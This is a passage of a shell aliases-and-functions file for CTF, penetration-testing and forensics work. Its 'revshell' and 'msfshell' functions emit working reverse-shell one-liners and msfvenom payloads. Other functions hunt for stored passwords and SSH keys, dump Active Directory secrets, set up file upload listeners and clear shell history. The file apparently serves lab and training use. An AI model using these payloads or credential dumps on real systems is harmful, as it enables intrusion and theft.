httpxfull='httpx -title -status-code -content-type -server' +alias katana='katana -d 3 -silent' +alias gospider='gospider -s' +alias hakrawler='hakrawler -d 3' + +# ============================================================================ +# aliases: OSINT - social / email +# ============================================================================ +alias sherlock='sherlock -o' +alias maigret='maigret -o' +alias theharvester='theHarvester -d' +alias holehe='holehe -s' + +# ============================================================================ +# aliases: OSINT - threat intel +# ============================================================================ +alias vtcli='vt scan' +alias shodan='shodan search' +alias geoip='geoiplookup' + +# ============================================================================ +# aliases: forensics - disk +# ============================================================================ +alias dcfldd='dcfldd hash=md5 hash=sha256' +alias dd_image='dd status=progress bs=4M conv=notrunc,noerror' +alias fls_recover='fls -r' +alias icat_extract='icat -r' + +# ============================================================================ +# aliases: forensics - memory +# ============================================================================ +alias vol3='vol.py -f' +alias avml_dump='avml -o memory.avml' + +# ============================================================================ +# aliases: forensics - network +# ============================================================================ +alias tcpdump_full='tcpdump -i any -A -s 0 -w' +alias tcpdump_dns='tcpdump -i any -n "port 53"' +alias tshark_http='tshark -Y "http.request or http.response"' +alias ngrep_payload='ngrep -W byline' +alias zeek_analyze='zeek -r' + +# ============================================================================ +# aliases: forensics - file analysis +# ============================================================================ +alias foremost_all='foremost -t all' +alias file_magic='file -b --mime' +alias xxd_header='xxd -l 512' + +# ============================================================================ +# aliases: forensics - timeline +# ============================================================================ +alias mactime_body='mactime -b' +alias mactime_csv='mactime -d -y' + +# ============================================================================ +# aliases: forensics - steganography +# ============================================================================ +alias steghide_info='steghide info' +alias steghide_extract='steghide extract -sf' +alias zsteg_scan='zsteg -a' +alias outguess_extract='outguess -r' +alias exiftool_strip='exiftool -All= -overwrite_original' + +# ============================================================================ +# functions: reconnaissance +# ============================================================================ + +fullscan() { + target="$1" + [ -z "$target" ] && { echo "Usage: fullscan <target>"; return 1; } + echo "[*] Quick port discovery on $target..." + ports=$(nmap -p- --min-rate=1000 -T4 "$target" | grep '^[0-9]' | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//') + [ -z "$ports" ] && { echo "[-] No open ports found"; return 1; } + echo "[+] Open ports: $ports" + echo "[*] Deep scan on open ports..." + nmap -sC -sV -O -p"$ports" "$target" -oN "nmap_${target}.txt" + echo "[+] Results saved to nmap_${target}.txt" +} + +udpscan() { + target="$1" + [ -z "$target" ] && { echo "Usage: udpscan <target>"; return 1; } + echo "[*] UDP scan on $target..." + nmap -sU --top-ports 50 -sV "$target" -oN "udp_${target}.txt" +} + +sweep() { + subnet="$1" + [ -z "$subnet" ] && { echo "Usage: sweep <subnet> (e.g. 10.10.10.0/24)"; return 1; } + nmap -sn "$subnet" | grep 'Nmap scan report' | cut -d' ' -f5 +} + +# ============================================================================ +# functions: enumeration +# ============================================================================ + +webenum() { + url="$1" + [ -z "$url" ] && { echo "Usage: webenum <url>"; return 1; } + echo "[*] Common wordlist..." + gobuster dir -u "$url" -w /usr/share/wordlists/dirb/common.txt -t 50 -o "gobuster_common.txt" 2>/dev/null + echo "[*] Medium wordlist..." + gobuster dir -u "$url" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -o "gobuster_medium.txt" 2>/dev/null + echo "[+] Results in gobuster_common.txt and gobuster_medium.txt" +} + +smbenum() { + target="$1" + [ -z "$target" ] && { echo "Usage: smbenum <target>"; return 1; } + echo "[*] Listing shares..." + smbclient -L "//$target" -N 2>/dev/null + echo "[*] Enum4linux..." + enum4linux -a "$target" 2>/dev/null +} + +subenum() { + domain="$1" + [ -z "$domain" ] && { echo "Usage: subenum <domain>"; return 1; } + echo "[*] Subfinder..." + subfinder -d "$domain" -silent 2>/dev/null | sort -u | tee "subs_${domain}.txt" + echo "[+] Saved to subs_${domain}.txt" +} + +# ============================================================================ +# functions: exploitation helpers +# ============================================================================ + +msfshell() { + lhost="$1"; lport="$2"; fmt="${3:-elf}" + [ -z "$lport" ] && { echo "Usage: msfshell <lhost> <lport> [format]"; echo "Formats: elf, exe, py, php, war, asp, raw"; return 1; } + case "$fmt" in + elf) msfvenom -p linux/x64/shell_reverse_tcp LHOST="$lhost" LPORT="$lport" -f elf -o shell.elf ;; + exe) msfvenom -p windows/x64/shell_reverse_tcp LHOST="$lhost" LPORT="$lport" -f exe -o shell.exe ;; + py) msfvenom -p cmd/unix/reverse_python LHOST="$lhost" LPORT="$lport" -f raw ;; + php) msfvenom -p php/reverse_php LHOST="$lhost" LPORT="$lport" -f raw -o shell.php ;; + war) msfvenom -p java/jsp_shell_reverse_tcp LHOST="$lhost" LPORT="$lport" -f war -o shell.war ;; + asp) msfvenom -p windows/shell_reverse_tcp LHOST="$lhost" LPORT="$lport" -f asp -o shell.asp ;; + raw) msfvenom -p linux/x64/shell_reverse_tcp LHOST="$lhost" LPORT="$lport" -f raw ;; + *) echo "Unknown format: $fmt" ;; + esac +} + +revshell() { + lhost="$1"; lport="${2:-4444}"; lang="${3:-bash}" + [ -z "$lhost" ] && { echo "Usage: revshell <lhost> [lport] [lang]"; echo "Langs: bash, python, php, perl, ruby, nc, nce, powershell"; return 1; } + case "$lang" in + bash) echo "bash -i >& /dev/tcp/$lhost/$lport 0>&1" ;; + python) echo "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$lhost\",$lport));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'" ;; + php) echo "php -r '\$sock=fsockopen(\"$lhost\",$lport);exec(\"/bin/sh -i <&3 >&3 2>&3\");'" ;; + perl) echo "perl -e 'use Socket;\$i=\"$lhost\";\$p=$lport;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" ;; + ruby) echo "ruby -rsocket -e'f=TCPSocket.open(\"$lhost\",$lport).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'" ;; + nc) echo "nc -e /bin/sh $lhost $lport" ;; + nce) echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $lhost $lport >/tmp/f" ;; + powershell) echo "powershell -nop -c \"\$client = New-Object System.Net.Sockets.TCPClient('$lhost',$lport);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\"" ;; + *) echo "Unknown lang: $lang" ;; + esac +} + +ttyshell() { + echo "Run these in your reverse shell:" + echo " python3 -c 'import pty;pty.spawn(\"/bin/bash\")'" + echo " (Ctrl+Z to background)" + echo " stty raw -echo; fg" + echo " export TERM=xterm" + echo " stty rows $(tput lines) cols $(tput cols)" +} + +# ============================================================================ +# functions: file transfer +# ============================================================================ + +servefile() { + file="$1"; port="${2:-8888}" + [ -z "$file" ] && { echo "Usage: servefile <file> [port]"; return 1; } + dir="$(dirname "$file")" + base="$(basename "$file")" + echo "[*] Serving $base on port $port" + echo "[*] Download with: wget http://$(hostname -I | awk '{print $1}'):$port/$base" + cd "$dir" && python3 -m http.server "$port" +} + +b64file() { + file="$1" + [ -z "$file" ] && { echo "Usage: b64file <file>"; return 1; } + echo "[*] Base64 encoded $file:" + base64 -w0 "$file" + echo + echo "[*] Decode on target: echo '<paste>' | base64 -d > $(basename "$file")" +} + +uploadserv() { + port="${1:-8888}" + echo "[*] Upload listener on port $port" + echo "[*] Upload with: curl -F 'file=@/path/to/file' http://LHOST:$port/upload" + python3 -c " +from http.server import HTTPServer, BaseHTTPRequestHandler +import cgi, os +class H(BaseHTTPRequestHandler): + def do_POST(self): + ct = self.headers['Content-Type'] + form = cgi.FieldStorage(fp=self.rfile, headers=self.headers, environ={'REQUEST_METHOD':'POST','CONTENT_TYPE':ct}) + f = form['file'] + with open(f.filename, 'wb') as out: + out.write(f.file.read()) + self.send_response(200) + self.end_headers() + self.wfile.write(b'OK') + print(f'[+] Received: {f.filename}') +HTTPServer(('0.0.0.0', $port), H).serve_forever() +" +} + +# ============================================================================ +# functions: password / hash utilities +# ============================================================================ + +hashid() { + hash="$1" + [ -z "$hash" ] && { echo "Usage: hashid <hash>"; return 1; } + len=${#hash} + case "$len" in + 32) echo "Likely MD5 (hashcat mode 0)" ;; + 40) echo "Likely SHA1 (hashcat mode 100)" ;; + 56) echo "Likely SHA224 (hashcat mode 1300)" ;; + 64) echo "Likely SHA256 (hashcat mode 1400)" ;; + 96) echo "Likely SHA384 (hashcat mode 10800)" ;; + 128) echo "Likely SHA512 (hashcat mode 1700)" ;; + *) + case "$hash" in + '$1$'*) echo "MD5crypt (hashcat mode 500)" ;; + '$2'*'$'*) echo "bcrypt (hashcat mode 3200)" ;; + '$5$'*) echo "SHA256crypt (hashcat mode 7400)" ;; + '$6$'*) echo "SHA512crypt (hashcat mode 1800)" ;; + '$apr1$'*) echo "Apache MD5 (hashcat mode 1600)" ;; + *) echo "Unknown hash type (len=$len). Try: hashcat --identify '$hash'" ;; + esac + ;; + esac +} + +hcrack() { + hash="$1"; mode="$2" + [ -z "$mode" ] && { echo "Usage: hcrack <hashfile> <mode>"; echo "Common modes: 0=MD5, 100=SHA1, 1400=SHA256, 1800=SHA512crypt, 3200=bcrypt"; return 1; } + hashcat -m "$mode" -a 0 "$hash" /usr/share/wordlists/rockyou.txt --force +} + +# ============================================================================ +# functions: privilege escalation helpers +# ============================================================================ + +findsuid() { echo "[*] SUID binaries:"; find / -perm -4000 -type f 2>/dev/null; } +findsgid() { echo "[*] SGID binaries:"; find / -perm -2000 -type f 2>/dev/null; } +findwritable() { echo "[*] World-writable directories:"; find / -writable -type d 2>/dev/null | grep -v proc; } +findcaps() { echo "[*] Files with capabilities:"; getcap -r / 2>/dev/null; } + +findcron() { + echo "[*] System crontabs:" && cat /etc/crontab 2>/dev/null + echo "[*] User crontabs:" && ls -la /var/spool/cron/crontabs/ 2>/dev/null + echo "[*] Cron directories:" && ls -la /etc/cron.* 2>/dev/null + echo "[*] Systemd timers:" && systemctl list-timers --all 2>/dev/null +} + +findconfigs() { + echo "[*] Config files with passwords:" + grep -rlI 'password\|passwd\|pwd\|secret\|key\|token\|api' /etc/ 2>/dev/null | head -20 + echo "[*] .bash_history files:" && find / -name '.bash_history' -readable 2>/dev/null + echo "[*] SSH keys:" && find / -name 'id_rsa' -o -name 'id_ed25519' -o -name 'authorized_keys' 2>/dev/null | grep -v proc +} + +privcheck() { + echo "=== SYSTEM INFO ===" && uname -a && cat /etc/os-release 2>/dev/null | head -3 + echo "=== CURRENT USER ===" && id && sudo -l 2>/dev/null + echo "=== SUID ===" && find / -perm -4000 -type f 2>/dev/null | head -15 + echo "=== CAPABILITIES ===" && getcap -r / 2>/dev/null + echo "=== WRITABLE /etc ===" && find /etc -writable -type f 2>/dev/null + echo "=== INTERESTING FILES ===" && ls -la /opt/ /srv/ /var/backups/ 2>/dev/null + echo "=== INTERNAL PORTS ===" && ss -tlnp 2>/dev/null + echo "=== CRON ===" && cat /etc/crontab 2>/dev/null +} + +# ============================================================================ +# functions: active directory +# ============================================================================ + +kerberoast() { + dc="$1"; domain="$2"; user="$3"; pass="$4" + [ -z "$pass" ] && { echo "Usage: kerberoast <dc-ip> <domain> <user> <pass>"; return 1; } + impacket-GetUserSPNs "$domain/$user:$pass" -dc-ip "$dc" -request -outputfile kerberoast.txt + echo "[+] Hashes saved to kerberoast.txt" + echo "[*] Crack with: hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt" +} + +asreproast() { + dc="$1"; domain="$2"; userlist="$3" + [ -z "$userlist" ] && { echo "Usage: asreproast <dc-ip> <domain> <userlist>"; return 1; } + impacket-GetNPUsers "$domain/" -dc-ip "$dc" -usersfile "$userlist" -format hashcat -outputfile asrep.txt + echo "[+] Hashes saved to asrep.txt" + echo "[*] Crack with: hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt" +} + +domainsecretz() { + dc="$1"; domain="$2"; user="$3"; pass="$4" + [ -z "$pass" ] && { echo "Usage: domainsecretz <dc-ip> <domain> <user> <pass>"; return 1; } + impacket-secretsdump "$domain/$user:$pass@$dc" +} + +bhcollect() { + dc="$1"; domain="$2"; user="$3"; pass="$4" + [ -z "$pass" ] && { echo "Usage: bhcollect <dc-ip> <domain> <user> <pass>"; return 1; } + bloodhound-python -d "$domain" -u "$user" -p "$pass" -ns "$dc" -c all + echo "[+] JSON files generated. Import into BloodHound." +} + +# ============================================================================ +# functions: pivoting / tunneling +# ============================================================================ + +sshfwd() { + lport="$1"; rhost="$2"; rport="$3"; sshhost="$4" + [ -z "$sshhost" ] && { echo "Usage: sshfwd <local-port> <remote-host> <remote-port> <ssh-host>"; return 1; } + ssh -L "$lport:$rhost:$rport" "$sshhost" -N -f + echo "[+] Forwarding localhost:$lport -> $rhost:$rport via $sshhost" +} + +sshsocks() { + port="${1:-1080}"; sshhost="$2" + [ -z "$sshhost" ] && { echo "Usage: sshsocks [port] <ssh-host>"; return 1; } + ssh -D "$port" "$sshhost" -N -f + echo "[+] SOCKS proxy on localhost:$port via $sshhost" + echo "[*] Use with: proxychains4 or browser SOCKS5 proxy" +} + +# ============================================================================ +# functions: CTF / box management +# ============================================================================ + +boxinit() { + name="$1"; platform="${2:-hackthebox}" + [ -z "$name" ] && { echo "Usage: boxinit <box-name> [platform]"; return 1; } + dir="$HOME/ctf/$platform/$name" + mkdir -p "$dir"/{nmap,web,exploit,loot,notes} + echo "# $name ($platform)" > "$dir/notes/notes.md" + echo "## Target IP: " >> "$dir/notes/notes.md" + echo "## Date: $(date -I)" >> "$dir/notes/notes.md" + cd "$dir" + echo "[+] Box workspace created at $dir" + ls -la +} + +setbox() { + ip="$1"; name="$2" + [ -z "$ip" ] && { echo "Usage: setbox <ip> [hostname]"; return 1; } + export TARGET="$ip" + export BOX="$name" + echo "[+] TARGET=$ip" + if [ -n "$name" ]; then + echo "[*] Add to /etc/hosts: echo '$ip $name' | sudo tee -a /etc/hosts" + fi +} + +grepflag() { + file="${1:--}" + grep -oiE '(flag|htb|thm|ctf)\{[^}]+\}|[a-f0-9]{32}' "$file" +} + +# ============================================================================ +# functions: session management +# ============================================================================ + +sessstart() { + box="$1"; platform="${2:-hackthebox}" + [ -z "$box" ] && { echo "Usage: sessstart <box-name> [platform]"; return 1; } + sessdir="$HOME/src/omniscient/sessions" + sessfile="$sessdir/$(date -I)-${box}.md" + cat > "$sessfile" << SESSEOF +# Session: $box ($platform) +Date: $(date -I) +Duration: ~ +Difficulty: + +## Attack Path +1. + +## Skills Demonstrated +- + +## Skill Gaps Identified +- + +## Tools Used +- + +## Key Takeaways +- + +## Notebooks Required +- [ ] + +## Evergreen Notes +- [ ] + +## Anki Cards +Q: +A: +--- +SESSEOF + echo "[+] Session file: $sessfile" + export OMNISCIENT_SESSION="$sessfile" +} + +sessnote() { + [ -z "$OMNISCIENT_SESSION" ] && { echo "No active session. Run sessstart first."; return 1; } + echo "- $(date +%H:%M) $*" >> "$OMNISCIENT_SESSION" +} + +# ============================================================================ +# functions: quick lookups +# ============================================================================ + +gtfo() { + bin="$1" + [ -z "$bin" ] && { echo "Usage: gtfo <binary-name>"; return 1; } + echo "https://gtfobins.github.io/gtfobins/$bin/" + curl -s "https://gtfobins.github.io/gtfobins/$bin/" 2>/dev/null | grep -oP '(?<=<code>).*?(?=</code>)' | head -20 +} + +exploit() { + term="$1" + [ -z "$term" ] && { echo "Usage: exploit <search-term>"; return 1; } + searchsploit "$term" +} + +cve() { + id="$1" + [ -z "$id" ] && { echo "Usage: cve <CVE-ID>"; return 1; } + curl -s "https://cveawg.mitre.org/api/cve/$id" 2>/dev/null | python3 -m json.tool 2>/dev/null | head -40 +} + +# ============================================================================ +# functions: cleanup / opsec +# ============================================================================ + +cleartracks() { + echo "[!] CTF/Lab cleanup only" + unset HISTFILE + history -c 2>/dev/null + echo "[+] Shell history cleared for this session" +} + +amihome() { + echo "Hostname: $(hostname)" + echo "User: $(whoami)" + echo "IP: $(hostname -I 2>/dev/null | awk '{print $1}')" + echo "OS: $(uname -s -r)" +} + +# ============================================================================ +# functions: reverse engineering +# ============================================================================ + +elfinfo() { + binary="$1" + [ -z "$binary" ] && { echo "Usage: elfinfo <binary>"; return 1; } + [ ! -f "$binary" ] && { echo "[-] File not found: $binary"; return 1; } + echo "=== FILE INFO ===" && file "$binary" + echo "" && echo "=== CHECKSEC ===" && checksec --file="$binary" 2>/dev/null + echo "" && echo "=== DYNAMIC SYMBOLS ===" && readelf -s "$binary" 2>/dev/null | grep "FUNC\|OBJECT" | head -20 + echo "" && echo "=== STRINGS (sample) ===" && strings "$binary" | head -20 +} + +peinfo() { + binary="$1" + [ -z "$binary" ] && { echo "Usage: peinfo <binary>"; return 1; } + echo "=== FILE INFO ===" && file "$binary" + echo "" && echo "=== CHECKSEC ===" && checksec --file="$binary" 2>/dev/null + echo "" && echo "=== EXIFTOOL ===" && exiftool "$binary" 2>/dev/null | head -25 + echo "" && echo "=== STRINGS ===" && strings "$binary" 2>/dev/null | head -20 +} + +r2analyze() { + binary="$1"; output="${2:-analysis.r2s}" + [ -z "$binary" ] && { echo "Usage: r2analyze <binary> [output]"; return 1; } + r2 -A -q -c "aaaa;afl;q" "$binary" > "$output" + echo "[+] Analysis saved to $output" +} + +pwntemplate() { + binary="$1"; output="${2:-exploit.py}" + [ -z "$binary" ] && { echo "Usage: pwntemplate <binary> [output.py]"; return 1; } + cat > "$output" << 'PWNEOF' +#!/usr/bin/env python3 +from pwn import * +context.binary = ELF('./BINARY') +context.log_level = 'info' +# r = remote('localhost', 1337) +# r = process(['./BINARY']) +# p.sendline(b'payload') +# p.interactive() +PWNEOF + sed -i "s|BINARY|$binary|g" "$output" + chmod +x "$output" + echo "[+] Template: $output" +} + +ropfind() { + binary="$1"; gadget="${2:-pop}" + [ -z "$binary" ] && { echo "Usage: ropfind <binary> [pattern]"; return 1; } + echo "=== ROPgadget ===" && ROPgadget --file "$binary" --search "$gadget" 2>/dev/null | head -15 + echo "" && echo "=== ropper ===" && ropper -f "$binary" -s "$gadget" 2>/dev/null | head -15 +} + +unpack() { + binary="$1"; outdir="${2:-.}" + [ -z "$binary" ] && { echo "Usage: unpack <binary> [outdir]"; return 1; } + die "$binary" 2>/dev/null | grep -i "packer\|crypter" + if upx -t "$binary" 2>&1 | grep -q "UPX"; then + upx -d -o "${outdir}/${binary##*/}.unpacked" "$binary" + else + echo "[-] Not UPX packed" + fi +} + +diffbin() { + bin1="$1"; bin2="$2"; format="${3:-hex}" + [ -z "$bin2" ] && { echo "Usage: diffbin <bin1> <bin2> [hex|strings|symbols]"; return 1; } + case "$format" in + hex) diff <(hexdump -C "$bin1") <(hexdump -C "$bin2") | head -50 ;; + strings) diff <(strings "$bin1" | sort) <(strings "$bin2" | sort) | head -50 ;; + symbols) diff <(nm "$bin1" | sort) <(nm "$bin2" | sort) | head -50 ;; + esac +} + +xrefs() { + binary="$1"; target="$2" + [ -z "$target" ] && { echo "Usage: xrefs <binary> <function>"; return 1; } + r2 -q -c "aaa; axt $target" "$binary" 2>/dev/null +} + +firmware_extract() { + firmware="$1"; outdir="${2:-./firmware_extracted}" + [ -z "$firmware" ] && { echo "Usage: firmware_extract <firmware.bin> [outdir]"; return 1; } + mkdir -p "$outdir" + binwalk -Me "$firmware" -d "$outdir" 2>/dev/null + echo "[+] Extraction complete: $outdir" && ls -la "$outdir" +} + +# ============================================================================ +# functions: cryptography +# ============================================================================ + +certinfo() { + host="$1"; port="${2:-443}" + [ -z "$host" ] && { echo "Usage: certinfo <host> [port]"; return 1; } + openssl s_client -connect "$host:$port" -servername "$host" </dev/null 2>/dev/null | openssl x509 -text -noout 2>/dev/null +} + +certchain() { + host="$1"; port="${2:-443}" + [ -z "$host" ] && { echo "Usage: certchain <host> [port]"; return 1; } + openssl s_client -showcerts -connect "$host:$port" -servername "$host" </dev/null 2>/dev/null | grep -A 1 'subject=' +} + +genkey() { + type="$1"; keyfile="${3:-id_key}" + [ -z "$type" ] && { echo "Usage: genkey <rsa|ec|ed25519> [size] [file]"; return 1; } + case "$type" in + rsa) openssl genrsa -out "$keyfile" "${2:-4096}" ;; + ec) openssl ecparam -genkey -name "${2:-prime256v1}" -out "$keyfile" ;; + ed25519) openssl genpkey -algorithm ed25519 -out "$keyfile" ;; + esac + chmod 600 "$keyfile" && echo "[+] Key: $keyfile (0600)" +} + +selfsign() { + domain="$1"; days="${2:-365}" + [ -z "$domain" ] && { echo "Usage: selfsign <domain> [days]"; return 1; } + openssl req -x509 -newkey rsa:4096 -keyout "$domain.key" -out "$domain.crt" -days "$days" -nodes -subj "/CN=$domain" + echo "[+] Key: $domain.key Cert: $domain.crt" +} + +jwtdecode() { + token="$1" + [ -z "$token" ] && { echo "Usage: jwtdecode <JWT>"; return 1; } + python3 -c " +import sys,json,base64 +parts='$token'.split('.') +def pad(s): return s+'='*(-len(s)%4) +print('[Header]'); print(json.dumps(json.loads(base64.urlsafe_b64decode(pad(parts[0]))),indent=2)) +print('[Payload]'); print(json.dumps(json.loads(base64.urlsafe_b64decode(pad(parts[1]))),indent=2)) +" +} + +entropy() { + input="$1" + [ -z "$input" ] && { echo "Usage: entropy <file>"; return 1; } + python3 -c " +import math +data=open('$input','rb').read() +h=sum(-p*math.log2(p) for p in [data.count(bytes([b]))/len(data) for b in range(256)] if p>0) +print(f'Entropy: {h:.4f} bits/byte (max 8.0)') +" +} + +xorbrute() { + file="$1" + [ -z "$file" ] && { echo "Usage: xorbrute <file>"; return 1; } + python3 -c " +data=open('$file','rb').read() +for key in range(256): + dec=bytes([b^key for b in data]) + pr=sum(1 for c in dec if 32<=c<127)/len(dec) + if pr>0.8: print(f'Key 0x{key:02x}: {pr:.0%} printable: {dec[:80]}')" | head -10 +} + +hashspray() { + s="$1" + [ -z "$s" ] && { echo "Usage: hashspray <string>"; return 1; } + echo "MD5: $(echo -n "$s" | openssl dgst -md5 | cut -d' ' -f2)" + echo "SHA1: $(echo -n "$s" | openssl dgst -sha1 | cut -d' ' -f2)" + echo "SHA256: $(echo -n "$s" | openssl dgst -sha256 | cut -d' ' -f2)" + echo "SHA512: $(echo -n "$s" | openssl dgst -sha512 | cut -d' ' -f2)" +} + +randpass() { + length="${1:-32}" + openssl rand -base64 "$length" | tr -d '=' | head -c "$length"; echo +} + +tlscheck() { + host="$1"; port="${2:-443}" + [ -z "$host" ] && { echo "Usage: tlscheck <host> [port]"; return 1; } + if command -v testssl.sh >/dev/null; then testssl.sh "$host:$port" | head -100 + else openssl s_client -connect "$host:$port" -servername "$host" </dev/null 2>&1 | grep -E 'Protocol|Cipher|subject=|issuer=' + fi +} + +# ============================================================================ +# functions: OSINT +# ============================================================================ + +dorkon() { + target="$1" + [ -z "$target" ] && { echo "Usage: dorkon <domain>"; return 1; } + printf "site:%s intitle:admin\nsite:%s inurl:login\nsite:%s filetype:pdf\nsite:%s \"password\"\nsite:%s \"api_key\"\nsite:%s inurl:backup\nsite:%s inurl:config\n" "$target" "$target" "$target" "$target" "$target" "$target" "$target" +} + +domainrecon() { + domain="$1" + [ -z "$domain" ] && { echo "Usage: domainrecon <domain>"; return 1; } + echo "[*] WHOIS..." && whois "$domain" 2>/dev/null | head -20 + echo "[*] DNS..." && dig "$domain" +short + echo "[*] Subdomains..." && command -v subfinder >/dev/null && subfinder -d "$domain" -silent 2>/dev/null | head -20 + echo "[*] CT logs..." && curl -s "https://crt.sh/?q=${domain}&output=json" 2>/dev/null | grep -o '"name_value":"[^"]*' | cut -d'"' -f4 | sort -u | head -20 +} + +iprecon() { + ip="$1" + [ -z "$ip" ] && { echo "Usage: iprecon <ip>"; return 1; } + echo "[*] WHOIS..." && whois "$ip" 2>/dev/null | grep -E "^(Organization|NetName|Country):" | head -10 + echo "[*] GeoIP..." && geoiplookup "$ip" 2>/dev/null + echo "[*] Reverse DNS..." && dig -x "$ip" +short 2>/dev/null +} + +emailharvest() { + domain="$1" + [ -z "$domain" ] && { echo "Usage: emailharvest <domain>"; return 1; } + command -v theHarvester >/dev/null && theHarvester -d "$domain" -b google 2>/dev/null | grep "@${domain}" + echo "[*] SPF/DMARC..." && dig "${domain}" TXT +short | grep -E "v=spf1|v=dmarc1" +} + +socialscan() { + username="$1" + [ -z "$username" ] && { echo "Usage: socialscan <username>"; return 1; } + command -v sherlock >/dev/null && sherlock "$username" 2>/dev/null + command -v maigret >/dev/null && maigret "$username" 2>/dev/null | head -30 +} + +waybackdump() { + domain="$1"; filter="${2:-.php|.js|.json|admin|api|config}" + [ -z "$domain" ] && { echo "Usage: waybackdump <domain> [filter]"; return 1; } + curl -s "https://web.archive.org/cdx/search/cdx?url=*.${domain}/*&matchType=domain&output=json&fl=timestamp,original&filter=statuscode:200&collapse=urlkey" | grep -o '"original":"[^"]*' | cut -d'"' -f4 | sort -u | grep -E "$filter" +} + +certrecon() { + domain="$1" + [ -z "$domain" ] && { echo "Usage: certrecon <domain>"; return 1; } + curl -s "https://crt.sh/?q=${domain}&output=json" 2>/dev/null | grep -o '"name_value":"[^"]*' | cut -d'"' -f4 | sort -u +} + +asnlookup() { + asn="$1" + [ -z "$asn" ] && { echo "Usage: asnlookup <ASN>"; return 1; } + whois -h whois.radb.net -i origin "$asn" 2>/dev/null | grep "^route:" | awk '{print $NF}' | sort -u +} + +passiverecon() { + domain="$1" + [ -z "$domain" ] && { echo "Usage: passiverecon <domain>"; return 1; } + echo "[*] WHOIS..." && whois "$domain" 2>/dev/null | head -15 + echo "[*] Wayback..." && curl -s "https://archive.org/wayback/available?url=${domain}" 2>/dev/null + echo "[*] CT logs..." && curl -s "https://crt.sh/?q=${domain}&output=json" 2>/dev/null | head -20 + echo "[*] DNS..." && curl -s "https://dns.google/resolve?name=${domain}" 2>/dev/null +} + +# ============================================================================ +# functions: forensics +# ============================================================================ + +acquire() { + [ $# -lt 2 ] && { echo "Usage: acquire <source> <output>"; return 1; } + dcfldd if="$1" of="$2" hash=md5 hash=sha256 hashwindow=1M bs=4M conv=notrunc,noerror +} + +timeline() { + [ -z "$1" ] && { echo "Usage: timeline <image_or_dir> [output]"; return 1; } + local output="${2:-timeline.csv}" bodyfile="/tmp/bodyfile_$$.body" + if [ -f "$1" ]; then fls -r "$1" > "$bodyfile" + elif [ -d "$1" ]; then find "$1" -exec stat -c '%i|%n|%a|%u|%g|%s|%Y|%Y|%Y|%Y' {} \; > "$bodyfile" + fi + mactime -b "$bodyfile" -d -y > "$output" && echo "[+] Timeline: $output" + rm -f "$bodyfile" +} + +pcapanalyze() { + [ -z "$1" ] && { echo "Usage: pcapanalyze <pcap> [outdir]"; return 1; } + local outdir="${2:-pcap_analysis_$$}"; mkdir -p "$outdir" + tshark -r "$1" -Y 'dns' -T fields -e frame.time -e dns.qry.name > "$outdir/dns.txt" 2>/dev/null + tshark -r "$1" -Y 'http.request' -T fields -e http.host -e http.request.uri > "$outdir/http.txt" 2>/dev/null + tshark -r "$1" -Y 'http.authorization' -T fields -e http.authorization > "$outdir/auth.txt" 2>/dev/null + echo "[+] Analysis: $outdir" && ls "$outdir" +} + +hashverify() { + [ $# -lt 2 ] && { echo "Usage: hashverify <file> <hash> [md5|sha256]"; return 1; } + local htype="${3:-sha256}" + local actual=$(${htype}sum "$1" | awk '{print $1}') + echo "Expected: $2" && echo "Actual: $actual" + [ "$2" = "$actual" ] && echo "[+] PASSED" || echo "[-] FAILED" +} + +volatility_triage() { + [ $# -lt 2 ] && { echo "Usage: volatility_triage <image> <outdir>"; return 1; } + local outdir="$2"; mkdir -p "$outdir" + vol.py -f "$1" windows.pslist 2>/dev/null | tee "$outdir/pslist.txt" + vol.py -f "$1" windows.netscan 2>/dev/null | tee "$outdir/netscan.txt" + vol.py -f "$1" windows.cmdline 2>/dev/null | tee "$outdir/cmdline.txt" + echo "[+] Triage: $outdir" +} + +iocextract() { + [ -z "$1" ] && { echo "Usage: iocextract <file>"; return 1; } + echo "=== IPs ===" && grep -oE '\b([0-9]{1,3}\.){3}[0-9]{1,3}\b' "$1" | sort -u + echo "=== Domains ===" && grep -oE '([a-z0-9](-[a-z0-9])*\.)+[a-z]{2,}' "$1" | sort -u + echo "=== Emails ===" && grep -oE '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}' "$1" | sort -u + echo "=== URLs ===" && grep -oE 'https?://[^\s]+' "$1" | sort -u + echo "=== MD5 ===" && grep -oE '\b[a-fA-F0-9]{32}\b' "$1" | sort -u + echo "=== SHA256 ===" && grep -oE '\b[a-fA-F0-9]{64}\b' "$1" | sort -u +} + +stegcheck() { + [ -z "$1" ] && { echo "Usage: stegcheck <image>"; return 1; } + local outdir="steg_$$"; mkdir -p "$outdir" + command -v zsteg >/dev/null && zsteg -a "$1" > "$outdir/zsteg.txt" 2>&1 + command -v steghide >/dev/null && steghide info "$1" > "$outdir/steghide.txt" 2>&1 + command -v exiftool >/dev/null && exiftool -json "$1" > "$outdir/exif.json" 2>&1 + binwalk -E -B "$1" > "$outdir/binwalk.txt" 2>&1 + strings -n 8 "$1" > "$outdir/strings.txt" + echo "[+] Results: $outdir" && ls "$outdir" +} + +# ============================================================================ +# aliases: CTF +# ============================================================================ +alias grepflag='grep -oiE 